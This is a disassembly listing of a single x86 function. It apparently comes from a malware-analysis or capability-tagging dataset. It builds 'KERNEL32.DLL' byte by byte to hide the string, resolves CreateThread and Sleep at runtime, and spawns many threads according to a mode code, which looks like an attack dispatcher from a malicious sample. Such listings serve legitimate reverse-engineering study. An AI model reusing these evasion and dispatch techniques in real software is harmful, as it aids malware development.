Function at 0x10002d60
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov ecx, 0x25d
mov edi, ebx
mov dword [0x100218a0], 1
rep movsd dword es:[edi], dword [esi]
lea esi, [ebx + 0x196]
xor eax, eax
mov ax, word [esi]
mov dword [0x100218a4], eax
mov ax, word [ebx + 0x192]
cmp ax, 0x64
je 0x10002dcb
cmp ax, 0x65
je 0x10002dcb
cmp ax, 2
je 0x10002dcb
lea edi, [ebx + 0x198]
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx + 0x970], 0x64
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov word [ebx + 0x968], cx
mov al, 0x45
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x13], al
mov byte [ebp - 0x10], al
mov al, 0x4c
push str.CreateThread
push ecx
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x44
mov byte [ebp - 0xa], al
mov byte [ebp - 9], al
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push 0x10002b70
mov edi, eax
push 0
push 0
mov dword [ebp - 4], edi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov ax, word [ebx + 0x192]
cmp eax, 0x65
ja case.0x10002e63.10
xor edx, edx
mov dl, byte [eax + 0x10003334]
jmp dword [edx*4 + 0x10003308]
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x100033a0
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
inc eax
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x10002e7f
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x10003500
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
mov dx, word [ebx + 0x194]
inc eax
cmp eax, edx
mov dword [ebp + 8], eax
jl 0x10002ec0
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x10003610
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
inc eax
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x10002f01
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x10003ad0
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
mov dx, word [ebx + 0x194]
inc eax
cmp eax, edx
mov dword [ebp + 8], eax
jl 0x10002f42
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebx + 0x198]
mov word [ebx + 0x968], 0xa
rep stosd dword es:[edi], eax
xor edi, edi
cmp word [ebx + 0x968], di
jbe 0x10002fca
push 0xc8
push 1
call fcn.10002a50
mov byte [ebx + edi + 0x198], al
xor eax, eax
mov ax, word [ebx + 0x968]
add esp, 8
inc edi
cmp edi, eax
jl 0x10002fa6
push 0
push 0
push ebx
push 0x10003870
push 0
push 0
call dword [ebp - 4]
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
inc eax
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x10002f83
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
push str.CreateThread
push edx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov word [ebx + 0x968], 0x14
nop
nop
nop
nop
push str.WaitForSingleObject
push str.KERNEL32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebx + 0x198]
rep stosd dword es:[edi], eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edi, edi
cmp word [ebx + 0x968], di
jbe 0x1000308d
push 0xc8
push 1
call fcn.10002a50
mov byte [ebx + edi + 0x198], al
xor eax, eax
mov ax, word [ebx + 0x968]
add esp, 8
inc edi
cmp edi, eax
jl 0x10003069
push 0
push 0
push ebx
push 0x100033a0
push 0
push 0
call dword [ebp - 4]
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
inc eax
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x1000300c
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x10003d00
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
mov dx, word [ebx + 0x194]
inc eax
cmp eax, edx
mov dword [ebp + 8], eax
jl 0x100030d3
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x100033a0
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
inc eax
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x10003114
jmp case.0x10002e63.10
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
push 0
push 0
push ebx
push 0x10003870
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
mov dx, word [ebx + 0x194]
inc eax
cmp eax, edx
mov dword [ebp + 8], eax
jl 0x10003155
jmp case.0x10002e63.10
call fcn.10002c20
test eax, eax
je 0x100031f8
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
lea eax, [ebp - 0x14]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push ebx
push 0x10003ad0
push 0
mov edi, eax
push 0
call edi
push eax
call esi
push 0
push 0
push ebx
push 0x10003d00
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
add eax, 2
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x1000319f
jmp case.0x10002e63.10
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
cmp word [ebx + 0x194], 0
mov dword [ebp + 8], 0
jbe case.0x10002e63.10
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebx + 0x198]
mov word [ebx + 0x968], 0x14
rep stosd dword es:[edi], eax
xor edi, edi
cmp word [ebx + 0x968], di
jbe 0x1000325f
push 0xc8
push 1
call fcn.10002a50
xor edx, edx
add esp, 8
mov byte [ebx + edi + 0x198], al
mov dx, word [ebx + 0x968]
inc edi
cmp edi, edx
jl 0x1000323b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push ebx
push 0x100033a0
push 0
mov edi, eax
push 0
call edi
push eax
call esi
push 0
push 0
push ebx
push 0x10003870
push 0
push 0
call edi
push eax
call esi
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cx, word [ebx + 0x194]
add eax, 2
cmp eax, ecx
mov dword [ebp + 8], eax
jl 0x10003218
push 1
push 0x53
push str.leep
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x3e8
call eax
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4